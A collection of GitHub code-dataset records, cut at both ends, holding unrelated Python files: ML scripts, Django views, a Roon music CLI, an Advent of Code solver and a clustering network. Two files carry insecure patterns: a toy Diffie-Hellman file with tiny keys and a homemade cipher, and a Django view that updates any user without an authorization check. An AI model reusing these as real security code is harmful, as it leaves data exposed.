ax.yaxis.set_major_formatter(NullFormatter())\n plt.axis('tight')\n\n t0 = time()\n tsne = manifold.TSNE(n_components=n_components, init='pca', random_state=0)\n Y = tsne.fit_transform(X)\n t1 = time()\n print('t-SNE: %.2g sec' % (t1 - t0))\n ax = fig.add_subplot(2, 5, 10)\n plt.scatter(Y[:, 0], Y[:, 1], c=color, cmap=plt.cm.Spectral)\n plt.title('t-SNE (%.2g sec)' % (t1 - t0))\n ax.xaxis.set_major_formatter(NullFormatter())\n ax.yaxis.set_major_formatter(NullFormatter())\n plt.axis('tight')\n\n plt.show()\n\n\n# This function will evaluate your features test performance using the ranking predictions\ndef compute_test_score(outfile_name):\n # X_test should contain the feature you engineered and y_test should contain the corresponding labels, which are team rankings \n X_test = construct_features(pd.read_excel('test_data.xlsx',sheet_name='Player'),\n pd.read_excel('test_data.xlsx',sheet_name='Points'))\n \n best_feature_set=[\n 'prev_season_score',\n 'was_champion',\n 'avg_age',\n 'multinationality',\n 'avg_market_value',\n 'ssq_opt_age',\n 'prev_season_order',\n 'num_of_players',\n 'num_of_ex_players']\n X_test=pd.DataFrame(X_test[best_feature_set])\n \n y_test = construct_labels(pd.read_excel('test_data.xlsx',sheet_name='Points'))\n \n X_train = construct_features(pd.read_excel('train_data.xlsx',sheet_name='Player'), \n pd.read_excel('train_data.xlsx',sheet_name='Points'))\n y_train = construct_labels(pd.read_excel('train_data.xlsx',sheet_name='Points'))\n for feature in best_feature_set:\n plt.scatter(X_train[feature],y_train['Points'])\n plt.xlabel(feature)\n plt.ylabel('Points') \n plt.show()\n \n # Here are manifold learning visualization methods that try to reduce the features to 2D with colored ranks\n reduce_to_2D(X_train, convert_points_to_rankings(y_train)['Ranks'])\n\n X_train=pd.DataFrame(X_train[best_feature_set])\n\n \n # This is the regression model you will use\n final_model = LinearRegression(fit_intercept=True)\n final_model.fit(X_train,y_train)\n # Your model's predictions will be stored in this array\n predictions = final_model.predict(X_test)\n predictions=pd.DataFrame(predictions)\n \n predictions=predictions.set_index(X_test.index)\n \n # Your model can predict either points or rankings. If necessary, change the function above\n predictions = convert_points_to_rankings(predictions)\n \n predictions=predictions.sort_index()\n y_test=y_test.sort_values(by=['Points'],ascending=False)\n y_test['Points']=range(1,len(y_test)+1)\n y_test=y_test.sort_index()\n # Your performance on the test set\n tau, _ = kendalltau(predictions, y_test)\n # Print tau both to file and screen\n print(tau)\n f = open(outfile_name, 'w')\n f.write(str(tau))\n f.close()\n \ncompute_test_score('output.txt')\n\nfset = construct_features(pd.read_excel('train_data.xlsx',sheet_name='Player'), \n pd.read_excel('train_data.xlsx',sheet_name='Points'))\noutput = construct_labels(pd.read_excel('train_data.xlsx',sheet_name='Points'))\n\n\nX_train, X_test, y_train , y_test = \\\ntrain_test_split(pd.DataFrame(fset[[\n 'prev_season_score',\n 'was_champion',\n 'avg_age',\n 'multinationality',\n 'avg_market_value',\n 'ssq_opt_age',\n 'prev_season_order',\n 'num_of_players',\n 'num_of_ex_players']]), output, test_size=0.1, random_state=10)\n\nfinal_model = LinearRegression(fit_intercept=False)\nfinal_model.fit(pd.DataFrame(X_train),pd.DataFrame(y_train))\npredictions = final_model.predict(pd.DataFrame(X_test))\npredictions=pd.DataFrame(predictions)\n\npredictions=predictions.set_index(X_test.index)\n\npredictions=predictions.sort_values(by=0,ascending=False)\npredictions[0]=range(1,len(predictions)+1)\ny_test=y_test.sort_values(by=['Points'],ascending=False)\n\ny_test['Points']=range(1,len(y_test)+1)\n\npredictions=predictions.sort_index()\ny_test=y_test.sort_index()\n\n\n# Your performance on the test set\ntau, _ = kendalltau(predictions, y_test)\n# Print tau both to file and screen\nprint(tau)\n\nfrom sklearn import linear_model\nclf = linear_model.Lasso(alpha=0.1)\nlasso_model = clf.fit([list(i[1:len(i)]) for i in X_train.itertuples()],\n list(y_train['Points']))\nlist(X_train.columns.values[lasso_model.coef_ != 0])\n\nreduce_to_2D(X_test, y_test)\n","repo_name":"alimturkmen/University-Projects","sub_path":"Machine-Learning/Feature-Engineering/code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":14100,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"31560693007","text":"import json\nfrom pathlib import Path\nimport typing as tp\n\nimport numpy as np\nimport torch\nfrom torch.utils.data import Dataset\nfrom torch.nn.utils.rnn import pad_sequence\n\n\nclass AuthorChangeExtractorDataset(Dataset):\n def __init__(self, path: Path) -> None:\n super().__init__()\n with path.open() as f:\n self.data: tp.List[tp.Dict[str, tp.Union[tp.List[tp.List[str]], tp.List[int]]]] = json.load(f)\n\n def __getitem__(self, idx: int) -> tp.Dict[str, tp.Union[str, tp.Union[tp.List[str], tp.List[int]]]]:\n ans = {}\n cur_data = self.data[idx]\n ans[\"id\"] = cur_data[\"id\"]\n ans[\"text\"] = list(map(\" \".join, cur_data[\"text\"]))\n labels = cur_data.get(\"labels\")\n if labels is not None:\n ans[\"labels\"] = labels\n return ans\n\n def __len__(self) -> int:\n return len(self.data)\n\n\nclass AuthorChangeFromNumpyDataset(Dataset):\n def __init__(self, path: Path) -> None:\n super().__init__()\n self.embeddings = np.load(str(path))\n\n initial_data_path = path.parent / (path.stem.replace(\"_embeddings\", \"\") + \".json\")\n with initial_data_path.open() as f:\n self.json_data: tp.List[tp.Dict[str, tp.Union[tp.List[tp.List[str]], tp.List[int]]]] = json.load(f)\n initial_offset = 0\n self.idx_to_offset = []\n for cur_data in self.json_data:\n self.idx_to_offset.append(initial_offset)\n initial_offset += len(cur_data[\"labels\"])\n self.idx_to_offset.append(initial_offset)\n\n def __getitem__(self, idx: int) -> tp.Dict[str, np.ndarray]:\n embeddings = self.embeddings[self.idx_to_offset[idx]: self.idx_to_offset[idx + 1]]\n return {\n \"embeddings\": embeddings,\n \"labels\": np.array(self.json_data[idx][\"labels\"])\n }\n\n def __len__(self):\n return len(self.json_data)\n\n\ndef collate_fn(batch: tp.List[tp.Dict[str, np.ndarray]]) -> tp.Dict[str, torch.Tensor]:\n embeddings = []\n labels = []\n for item in batch:\n embeddings.append(torch.from_numpy(item[\"embeddings\"]))\n labels.append(torch.from_numpy(item[\"labels\"]))\n return {\n \"embeddings\": pad_sequence(embeddings, batch_first=True, padding_value=0),\n \"labels\": pad_sequence(labels, batch_first=True, padding_value=-1)\n }\n","repo_name":"Serega6678/department_task","sub_path":"src/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":2323,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"73898833798","text":"from django.shortcuts import get_object_or_404\nfrom django.contrib.auth import get_user_model\n\nfrom rest_framework.response import Response\nfrom rest_framework.decorators import api_view, permission_classes\nfrom rest_framework.permissions import IsAuthenticated, IsAdminUser\n\nfrom .serializers import UserSerializer\nfrom movies.serializers import MovieSerializer\n\nfrom .models import User\nfrom movies.models import Movie,Rating\n\nfrom .forms import CustomUserChangeForm\n\n# Create your views here.\nUser = get_user_model()\n\n\n@api_view(['GET'])\ndef userdetail(request):\n user = request.user\n rated_movies = Rating.objects.filter(user_id=user).exclude(star=-1).values('movie_id')\n liked_movies = Rating.objects.filter(user_id=user,star=-1).values('movie_id')\n\n rated_movie_list = Movie.objects.filter(movie_id__in=rated_movies)\n liked_movie_list = Movie.objects.filter(movie_id__in=liked_movies)\n\n rated_movie_data = MovieSerializer(rated_movie_list,many=True)\n liked_movie_data = MovieSerializer(liked_movie_list,many=True)\n \n user_data = get_object_or_404(User,email=user)\n user_serializer=UserSerializer(user_data)\n\n rcnt = Rating.objects.filter(user=user).exclude(star=-1).count()\n lcnt = Rating.objects.filter(user=user,star=-1).count()\n return Response({\n 'rated_movie_data':rated_movie_data.data,\n 'liked_movie_data':liked_movie_data.data,\n 'user_data':user_serializer.data,\n 'rated_movie_cnt':rcnt,\n 'liked_movie_cnt':lcnt,\n })\n return Response()\n\n@api_view(['GET'])\ndef user_rating_check(request):\n user=request.user\n rating_cnt = Rating.objects.filter(user_id=user).count()\n check=False\n if rating_cnt>=10:\n check=True\n return Response(check)\n\n@api_view(['POST'])\ndef updateUser(request, useremail):\n selected_user = get_object_or_404(User,email=useremail)\n serializer=UserSerializer(data=request.data,instance=selected_user)\n if serializer.is_valid(raise_exception=True):\n serializer.save(email=useremail)\n return Response()","repo_name":"Ya-kuku/PJT_PopcornAngle","sub_path":"backend/accounts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2055,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"27621099170","text":"import cv2\n\ncap = cv2.VideoCapture('video.mp4')\n\nwhile(cap.isOpened()):\n ret, frame = cap.read()\n print(ret)\n if cv2.waitKey(1) & 0xFF == ord('q') or ret == False:\n break\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n cv2.imshow('frame',gray)\n \ncap.release()\ncv2.destroyAllWindows()","repo_name":"prisenkoVO/objectDetection","sub_path":"test/read_video_file.py","file_name":"read_video_file.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"16140674201","text":"import argparse\nimport configparser\nfrom os import path\nimport sys\nfrom roonapi import RoonApi\n\nconfig = configparser.ConfigParser()\nconfig.read('/usr/local/Roon/etc/roon_api.ini')\n\n# Set to IP address of your Roon Core\nserver = config['DEFAULT']['RoonCoreIP']\n# Set to Port of your Roon Core\nport = config['DEFAULT']['RoonCorePort']\n# Name of the file that holds a Roon API token\ntokenfile = config['DEFAULT']['TokenFileName']\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-a\", \"--artist\", help=\"artist selection\")\nparser.add_argument(\"-x\", \"--exartist\", help=\"artist exclude search term\")\nparser.add_argument(\"-z\", \"--zone\", help=\"zone selection\")\nargs = parser.parse_args()\n\nif args.artist:\n artistsearch = args.artist\nelse:\n artistsearch = config['DEFAULT']['DefaultArtist']\nif args.exartist:\n exartistsearch = args.exartist\nelse:\n exartistsearch = None\nif args.zone:\n target_zone = args.zone\nelse:\n target_zone = config['DEFAULT']['DefaultZone']\n\nversion = config['DEFAULT']['RoonCommandLineVersion']\nrelease = config['DEFAULT']['RoonCommandLineRelease']\nfullver = version + \"-\" + release\n\nappinfo = {\n \"extension_id\": \"roon_command_line\",\n \"display_name\": \"Python library for Roon\",\n \"display_version\": fullver,\n \"publisher\": \"RoonCommandLine\",\n \"email\": \"roon@ronrecord.com\",\n \"website\": \"https://github.com/doctorfree/RoonCommandLine\",\n}\n\n# Can be None if you don't yet have a token\nif path.exists(tokenfile):\n token = open(tokenfile).read()\nelse:\n token = \"None\"\n\nroonapi = RoonApi(appinfo, token, server, port)\n\n# save the token for next time\nwith open(tokenfile, \"w\") as f:\n f.write(str(roonapi.token))\n\n# get target zone output_id\noutputs = roonapi.outputs\n\noutput_id = None\nfor (k, v) in outputs.items():\n if target_zone in v[\"display_name\"]:\n output_id = k\n\nif output_id is None:\n err = \"No zone found matching \" + target_zone\n sys.exit(err)\nelse:\n artist = None\n # List matching artists from Library\n artists = roonapi.list_media(output_id,\n [\"Library\",\n \"Artists\", artistsearch])\n # Filter out excluded artist names\n if exartistsearch is not None and artists:\n artists = [chk for chk in artists if exartistsearch not in chk]\n if artists:\n # Play artist from Library\n artist = artists[0]\n print(\"Playing artist name\", artist)\n roonapi.play_media(output_id,\n [\"Library\", \"Artists\", artist], None, False)\n if len(artists) > 1:\n print(\"\\nArtist names partially matching\", artistsearch, \":\\n\")\n print(*artists, sep=\"\\n\")\n print(\"\\nTo play another artist with this name either specify the\")\n print(\"full name or enough of a substring for a single match\\n\")\n if artist is None:\n print(\"No artists found matching\", artistsearch)\n","repo_name":"doctorfree/RoonCommandLine","sub_path":"api/play_artist.py","file_name":"play_artist.py","file_ext":"py","file_size_in_byte":2914,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"62"} +{"seq_id":"30407863754","text":"import fileinput as fi\nimport re\nimport itertools as it\nimport functools as ft\nimport string\nimport collections\nimport math\nimport sys\nimport heapq\n\n# findall, search, parse\n# from parse import *\nimport more_itertools as mit\n# import z3\nimport numpy as np\n# import lark\n# import regex\n# import intervaltree as itree\n\n# print(sys.getrecursionlimit())\nsys.setrecursionlimit(6500)\n\n# Debug logging\nDEBUG = True\ndef gprint(*args, **kwargs):\n if DEBUG: print(*args, **kwargs)\n\n# Input parsing\nINPUT = \"\".join(fi.input()).rstrip()\ngroups = INPUT.split(\"\\n\\n\")\nlines = list(INPUT.splitlines())\n\ndef step(par):\n p, v, a = par\n px, py, pz = p\n vx, vy, vz = v\n ax, ay, az = a\n \n vx += ax\n vy += ay\n vz += az\n\n px += vx\n py += vy\n pz += vz\n\n return ((px, py, pz), (vx, vy, vz), (ax, ay, az))\n\ndef dist(par):\n return abs(par[0][0]) + abs(par[0][1]) + abs(par[0][2])\n\n\n \n\npars = []\nfor line in lines:\n p, v, a = line.split(\", \")\n px, py, pz = map(int, p[3:-1].split(\",\"))\n vx, vy, vz = map(int, v[3:-1].split(\",\"))\n ax, ay, az = map(int, a[3:-1].split(\",\"))\n p = (px, py, pz)\n v = (vx, vy, vz)\n a = (ax, ay, az)\n par = (p ,v, a)\n\n pv = lambda t: np.array([px, py, pz])\n pars.append(par)\n\n\nimport sympy\ndef sympy_can_colide(a, b):\n ap, av, aa = a\n bp, bv, ba = b\n\n t = sympy.symbols('t', integer=True)\n\n a_exs = [p + v*t + (a*t*(t+1))/2 for (p, v, a) in zip(ap, av, aa)]\n b_exs = [p + v*t + (a*t*(t+1))/2 for (p, v, a) in zip(bp, bv, ba)]\n # exs = [sympy.Eq(ax, bx) for ax, bx in zip(a_exs, b_exs)]\n # print(sympy.solveset(exs, t, domain=sympy.S.Integers))\n\n doms = []\n dom = sympy.Integers\n for ax, bx in zip(a_exs, b_exs):\n w = sympy.Eq(ax, bx)\n sl = sympy.solveset(w, t, domain=sympy.S.Integers)\n dom = dom.intersect(sl)\n\n if dom == sympy.EmptySet:\n return None\n\n\n if dom != sympy.EmptySet:\n # print(a)\n # print(b)\n # print(dom)\n return dom\n\n return None\n\nimport math\ndef my_can_collide(a, b):\n # ap, av, aa = a\n # bp, bv, ba = b\n \n ans = None\n for (ap, av, aa), (bp, bv, ba) in zip(zip(*a), zip(*b)):\n kc = ap - bp\n kb = av - bv\n ka = aa - ba\n\n if ka == 0:\n # print(\"Kicking the ball to sympy\")\n return sympy_can_colide(a, b)\n\n\n # print(kb)\n # print(ka)\n if (kb*kb - 4*ka*kc) < 0:\n return None\n\n x1 = (-kb + math.sqrt(kb*kb - 4*ka*kc)) / 2*ka\n dw1 = math.remainder((-kb + math.sqrt(kb*kb - 4*ka*kc)) , 2*ka)\n x2 = (-kb - math.sqrt(kb*kb - 4*ka*kc)) / 2*ka\n dw2 = math.remainder((-kb - math.sqrt(kb*kb - 4*ka*kc)) , 2*ka)\n\n if abs(dw1) < 0.00001:\n if ans is None:\n ans = int(x1)\n\n if ans != int(x1):\n return None\n\n # print(\"YE\")\n # print(x1)\n # print(dw1)\n elif abs(dw2) < 0.00001:\n if ans is None:\n ans = int(x1)\n\n if ans != int(x1):\n return None\n else:\n return None\n\n # print(x1, dw1)\n # print(x2, dw2)\n\n # print(\"HERE\")\n\n \n return ans\n\ndef can_collide(a, b):\n # mc = my_can_collide(a, b)\n sc = sympy_can_colide(a, b)\n\n # assert(mc == sc)\n\n return sc\n\ndef clean(pars):\n seen = {}\n to_remove = set()\n for i, par in enumerate(pars):\n p, v, a = par\n if p in seen:\n to_remove.add(i)\n to_remove.add(seen[p])\n else:\n seen[p] = i\n\n for x in reversed(sorted(to_remove)):\n print(\"Removing {}, ({})\".format(x, pars[x]))\n del pars[x]\n\n return pars\n\nimport tqdm \nimport copy\ndef brute(pars):\n pars = clean(pars)\n\n for i in tqdm.trange(10000):\n pars = [step(par) for par in pars]\n ll = len(pars)\n pars = clean(pars)\n ww = len(pars)\n dd = ll - ww\n \n if dd > 0:\n print(\"At {} we removed {}. We now have {}\".format(i, dd, ww))\n\n return pars\n\n\ndef binomial_cooefficient(n: int, k: int) -> int:\n n_fac = math.factorial(n)\n k_fac = math.factorial(k)\n n_minus_k_fac = math.factorial(n - k)\n return n_fac/(k_fac*n_minus_k_fac)\n\n\n# print(pars[279])\n# print(pars[280])\npars = brute(pars)\n# print(can_collide(pars[280], pars[279]))\n\n# a = pars[279]\n# b = pars[280]\n\n\n\ntq = tqdm.tqdm(it.combinations(enumerate(pars), 2), total=binomial_cooefficient(len(pars), 2))\nprev_thing = 0\ncollided = False\nfor (i, a), (j, b) in tq:\n if (i != prev_thing):\n if not collided:\n tq.write(\"{} did not collide with anything\".format(prev_thing))\n else:\n tq.write(\"{} did collide with somethign\".format(prev_thing))\n\n collided = False\n prev_thing = i\n \n t = can_collide(a, b)\n if t:\n # print(\"{} can colide with {} at {}, ({}, {})\".format(i, j, t, a, b))\n tq.write(\"{} can colide with {} at {}, ({}, {})\".format(i, j, t, a, b))\n collided = True\n # else:\n # print(\"{} can't colide with {}, ({}, {})\".format(i, j, a, b))\n # tq.write(\"{} can't colide with {}, ({}, {})\".format(i, j, a, b))\n\n\n\n","repo_name":"rHermes/adventofcode","sub_path":"2017/20/y2017_d20_p02.py","file_name":"y2017_d20_p02.py","file_ext":"py","file_size_in_byte":5222,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"38294376262","text":"from django.urls import path\r\n\r\nfrom main import views\r\n\r\n\r\napp_name = 'main'\r\n\r\nurlpatterns = [\r\n path('', views.shop_view, name='shop'),\r\n path('category/', views.category_view, name='category'),\r\n path('product/', views.product_view, name='product'),\r\n path('search/', views.search_view, name='search'),\r\n]\r\n","repo_name":"alexforcode/django_store","sub_path":"store/main/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":360,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"22992889516","text":"import os\nimport random\n\n\nclass DH_Endpoint(object):\n\n\n\n def __init__(self,client_public_key=None,server_public_key=None, private_key=None):\n if client_public_key==None:\n self.client_public_key = None\n self.server_public_key = None\n self.private_key = None\n self.full_key = None\n else:\n self.client_public_key = client_public_key\n self.server_public_key = server_public_key\n self.private_key = private_key\n self.full_key = None\n\n def generate_partial_key(self):\n partial_key = self.client_public_key**self.private_key\n partial_key = partial_key%self.server_public_key\n return partial_key\n\n def generate_full_key(self, partial_key_client):\n full_key = partial_key_client**self.private_key\n full_key = full_key%self.server_public_key\n self.full_key = full_key\n return full_key\n\n\n def encrypt_message(self, msg):\n key = chr((self.full_key + 2) % 65536)\n keys = ''\n while len(keys) != len(msg):\n for i in key:\n if len(keys) != len(msg):\n keys = keys + i\n else:\n break\n nmsg = ''\n for i in range(len(keys)):\n i = (ord(msg[i]) - ord(keys[i])) % 65536\n nmsg = nmsg + chr(i)\n return nmsg\n\n def decrypt_message(self, encrypted_message):\n decrypted_message = \"\"\n key = chr((self.full_key + 2) % 65536)\n keys = ''\n while len(keys) != len(encrypted_message):\n for i in key:\n if len(keys) != len(encrypted_message):\n keys = keys + i\n else:\n break\n for i in range(len(keys)):\n i = (ord(encrypted_message[i]) + ord(keys[i])) % 65536\n decrypted_message = decrypted_message + chr(i)\n return decrypted_message\n\n\n def bunch_of_public_keys(self):\n with open('Open_keys.txt', 'r+') as file:\n if (os.path.exists('Open_keys.txt') and os.path.getsize('Open_keys.txt')) > 0:\n k = file.read()\n k = k.split(' ')\n self.private_key = int(k[0])\n self.client_public_key = int(k[1])\n self.server_public_key = random.randint(1, 200)\n else:\n self.private_key = int(input('Enter your personal key (1, 999):>'))\n self.client_public_key = int(input('Enter your public key (1, 999):>'))\n self.server_public_key = random.randint(1, 200)\n file.write(str(self.private_key) + \" \" + str(self.client_public_key))","repo_name":"AMITGAN/Practice","sub_path":"Assymmetric_chipher/DH_protocol.py","file_name":"DH_protocol.py","file_ext":"py","file_size_in_byte":2687,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"8605126019","text":"'''\nnetwork definitions\n'''\n\nimport itertools\n\nimport numpy as np\nimport tensorflow as tf\nfrom keras import backend as K\nfrom keras.models import Model\nfrom keras.layers import Input, Lambda\n\nfrom . import train\nfrom . import costs\nfrom .layer import stack_layers\nfrom .util import LearningHandler, make_layer_list, train_gen, get_scale\n\n\nclass SiameseNet:\n def __init__(self, name, inputs, arch, siam_reg):\n self.orig_inputs = inputs\n self.name = name\n # set up input shapes\n self.inputs = {\n 'A': inputs['Embedding'],\n 'B': Input(shape=inputs['Embedding'].get_shape().as_list()[1:]),\n }\n \n # generate layers\n self.layers = []\n self.layers += make_layer_list(arch, 'siamese', siam_reg)\n self.outputs = stack_layers(self.inputs, self.layers)\n\n # add the distance layer\n self.distance = Lambda(costs.euclidean_distance, output_shape=costs.eucl_dist_output_shape)([self.outputs['A'], self.outputs['B']])\n\n #create the distance model for training\n self.net = Model([self.inputs['A'], self.inputs['B']], self.distance)\n \n # compile the siamese network\n self.net.compile(loss=costs.get_contrastive_loss(m_neg=1, m_pos=0.05), optimizer='rmsprop')\n\n def train(self, pairs_train, dist_train,\n lr, drop, patience, num_epochs, batch_size, pre_train=False):\n # create handler for early stopping and learning rate scheduling\n self.lh = LearningHandler(\n lr=lr,\n drop=drop,\n lr_tensor=self.net.optimizer.lr,\n patience=patience)\n\n # initialize the training generator\n train_gen_ = train_gen(pairs_train, dist_train, batch_size)\n\n validation_data = None\n\n # compute the steps per epoch\n steps_per_epoch = int(len(pairs_train) / batch_size)\n\n if pre_train:\n print('Use pretrained weights')\n self.net.load_weights('./pretrain/siamese/'+self.name+'_siamese_weight'+'.h5')\n return 0\n else:\n # train the network\n hist = self.net.fit_generator(train_gen_, epochs=num_epochs, validation_data=validation_data, steps_per_epoch=steps_per_epoch, callbacks=[self.lh])\n self.net.save_weights('./pretrain/siamese/'+self.name+'_siamese_weight'+'.h5')\n return hist\n\n\n def predict(self, x, batch_sizes):\n # compute the siamese embeddings of the input data\n return train.predict_siamese(self.outputs['A'], x=x, inputs=self.orig_inputs, batch_sizes=batch_sizes)\n\n\n\nclass MvSCN:\n def __init__(self, input_list, arch, spec_reg,\n n_clusters, scale_nbr, n_nbrs, batch_sizes, view_size,\n siamese_list, x_train_siam, lamb):\n self.n_clusters = n_clusters\n self.input_list = input_list\n self.batch_sizes = batch_sizes\n self.view_size = view_size\n\n # Embedding inputs shape \n self.input_shape = {'Embedding': [], 'Orthogonal': []}\n for i in range(self.view_size):\n self.input_shape['Embedding'].append(self.input_list[i]['Embedding'])\n self.input_shape['Orthogonal'].append(self.input_list[i]['Orthogonal'])\n\n self.output_shape = []\n for i in range(self.view_size):\n input_item = self.input_list[i]\n self.layers = make_layer_list(arch[:-1], 'Embedding_view'+str(i), spec_reg)\n self.layers += [\n {'type': 'tanh',\n 'size': n_clusters,\n 'l2_reg': spec_reg,\n 'name': 'Embedding_'+'view'+str(i)+'_{}'.format(len(arch)-1)},\n {'type': 'Orthogonal', 'name':'Orthogonal'+'_view'+str(i)}\n ]\n\n output = stack_layers(input_item, self.layers)\n self.output_shape.append(output['Embedding'])\n\n\n self.net = Model(inputs=self.input_shape['Embedding'], outputs=self.output_shape)\n\n # LOSS\n\n loss_1 = 0\n\n # W\n for (x_train, siamese_net, input_shape, output) in zip(x_train_siam, siamese_list, self.input_list, self.output_shape):\n # generate affinity matrix W according to params\n input_affinity = siamese_net.outputs['A']\n x_affinity = siamese_net.predict(x_train, batch_sizes)\n\n # calculate scale for affinity matrix\n scale = get_scale(x_affinity, self.batch_sizes['Embedding'], scale_nbr)\n\n # create affinity matrix\n W = costs.knn_affinity(input_affinity, n_nbrs, scale=scale, scale_nbr=scale_nbr)\n Dy = costs.squared_distance(output) \n\n loss_1 = loss_1 + K.sum(W * Dy) / (batch_sizes['Embedding'] ** 2)\n \n loss_1 = loss_1 / self.view_size\n\n # LOSS 2\n loss_2 = 0\n\n # generate permutation of different views\n ls = itertools.combinations(self.output_shape, 2)\n \n\n for (view_i, view_j) in ls:\n loss_2 += K.sum(costs.pairwise_distance(view_i, view_j)) / (batch_sizes['Embedding'])\n \n self.loss = (1-lamb) * loss_1 + lamb * loss_2 / (view_size**2)\n\n # create the train step update\n self.learning_rate = tf.Variable(0., name='spectral_net_learning_rate')\n self.train_step = tf.train.RMSPropOptimizer(learning_rate=self.learning_rate).minimize(self.loss, var_list=self.net.trainable_weights)\n\n # initialize spectralnet variables\n K.get_session().run(tf.variables_initializer(self.net.trainable_weights))\n \n def train(self, x_train, lr, drop, patience, num_epochs, x_test=None, y_test=None):\n # create handler for early stopping and learning rate scheduling\n self.lh = LearningHandler(\n lr=lr,\n drop=drop,\n lr_tensor=self.learning_rate,\n patience=patience)\n\n losses = np.empty((num_epochs,))\n val_losses = np.empty((num_epochs,))\n\n # begin spectralnet training loop\n self.lh.on_train_begin()\n for i in range(num_epochs):\n # train spectralnet\n losses[i] = train.train_step(\n return_var=[self.loss],\n updates=self.net.updates + [self.train_step],\n x_unlabeled=x_train,\n inputs=self.input_shape,\n batch_sizes=self.batch_sizes,\n batches_per_epoch=100)[0]\n\n # do early stopping if necessary\n if self.lh.on_epoch_end(i, losses[i]):\n print('STOPPING EARLY')\n return losses[:i]\n # print training status\n print(\"Epoch: {}, loss={:2f}\".format(i, losses[i]))\n\n return losses[:i]\n\n def predict(self, x):\n return train.predict(\n self.output_shape,\n x_unlabeled=x,\n inputs=self.input_shape,\n batch_sizes=self.batch_sizes,\n view_size=self.view_size)\n","repo_name":"hi-zhenyu/MvSCN","sub_path":"core/networks.py","file_name":"networks.py","file_ext":"py","file_size_in_byte":7025,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"62"} +{"seq_id":"29878119456","text":"import sys\r\nimport json\r\nfilename = sys.argv[1]\r\nwith open(filename,encoding=\"utf-8\") as json_file:\r\n docs = json.load(json_file)\r\n decisions = []\r\n for i in docs:\r\n year = 0\r\n for j in i['annotations']:\r\n if j['labelName'] in ['date_de_jugement','date_d_arret','date_de_refere', 'date_de_mise_en_etat']: \r\n try:\r\n year = int(j['text'][len(j['text'])-4:len(j['text'])])\r\n i['metadata']['Année'] = year\r\n break\r\n except ValueError :\r\n print(i['identifier']+\";\"+j['labelName']+\";\"+j['text'])\r\n decisions += [i]\r\n\r\nwith open(\"with_year_\"+filename, 'w', encoding='utf-8') as f:\r\n json.dump(decisions, f, indent=4,ensure_ascii=False)\r\n","repo_name":"Bruno-Mathis/Court-decisions","sub_path":"Programmes/enrich_with_year_of_decision.py","file_name":"enrich_with_year_of_decision.py","file_ext":"py","file_size_in_byte":793,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"35885782613","text":"import torch\n\n\ndef compute_DSC(predictions: torch.Tensor,\n ref_labels: torch.Tensor,\n weights: torch.Tensor = None,\n epsilon=1.e-6,\n use_vnet_dice=True) -> torch.Tensor:\n \"\"\"\n Computes DiceCoefficient as defined in https://arxiv.org/abs/1606.04797 given a multi channel input and target.\n Assumes the input is a normalized probability, e.g. a result of Sigmoid or Softmax function.\n\n This function computes the VNet Dice if use_vnet_dice is True, and computes the standard Dice otherwise.\n\n :param predictions: Output of a model. Assumed to be in probabilities (i.e. in [0, 1], not in logits!)\n :param ref_labels: One-hot encoded reference labels\n :param weights: Cx1 tensor of weight per class\n :param epsilon: Prevents division by zero error\n :param use_vnet_dice: See above\n :return: A torch Tensor containing average (over the batch) Dice coefficients for each class.\n \"\"\"\n assert predictions.size() == ref_labels.size(), \"The predictions and the reference labels are not in the same shape\"\n\n assert predictions.dim() == 5 or predictions.dim() == 4, f\"Only 4D or 5D predictions are supported\"\n assert torch.max(predictions) <= 1. and torch.min(predictions) >= 0., \"Invalid values in predictions detected\"\n assert torch.max(ref_labels) <= 1 and torch.min(ref_labels) >= 0, f\"Invalid values in reference labels detected\"\n\n prob_flatten = flatten(predictions)\n ref_flatten = flatten(ref_labels).float()\n\n # compute per channel Dice Coefficient\n intersect = (prob_flatten * ref_flatten).sum(-1)\n if weights is not None:\n intersect *= weights\n\n # here we can use standard dice (input + target).sum(-1)\n # or extension (see V-Net) (input^2 + target^2).sum(-1)\n if use_vnet_dice:\n denominator = (prob_flatten * prob_flatten).sum(-1) + (ref_flatten * ref_flatten).sum(-1)\n else:\n denominator = prob_flatten.sum(-1) + ref_flatten.sum(-1)\n return 2 * (intersect / denominator.clamp(min=epsilon))\n\n\ndef flatten(tensor: torch.Tensor) -> torch.Tensor:\n \"\"\"\n Flattens a given tensor into a two-dimensional tensor. Class channel becomes the first dimension and\n other dimensions are squashed into one.\n\n 3D: (Batch, Class, Depth, Height, Width) -> (C, B * D * H * W)\\n\n 2D: (B, C, H, W) -> (C, B * H * W)\n \"\"\"\n\n num_classes = tensor.size()[1]\n # new dimension order\n axis_order = (1, 0) + tuple(range(2, tensor.dim()))\n # Transpose: (N, C, D, H, W) -> (C, N, D, H, W)\n transposed = tensor.permute(axis_order)\n # Flatten: (C, N, D, H, W) -> (C, N * D * H * W)\n return transposed.contiguous().view(num_classes, -1)\n","repo_name":"ThisGame42/Deep-Learning-Models-4-Muscle-Bones-Segmentation","sub_path":"Utils/Evaluation.py","file_name":"Evaluation.py","file_ext":"py","file_size_in_byte":2707,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"62"} +{"seq_id":"1559480617","text":"from pyramid import httpexceptions\nfrom pyramid.view import view_config\n\nfrom ..db import poke_publication_state, db_connect\n\n\n@view_config(route_name='moderation', 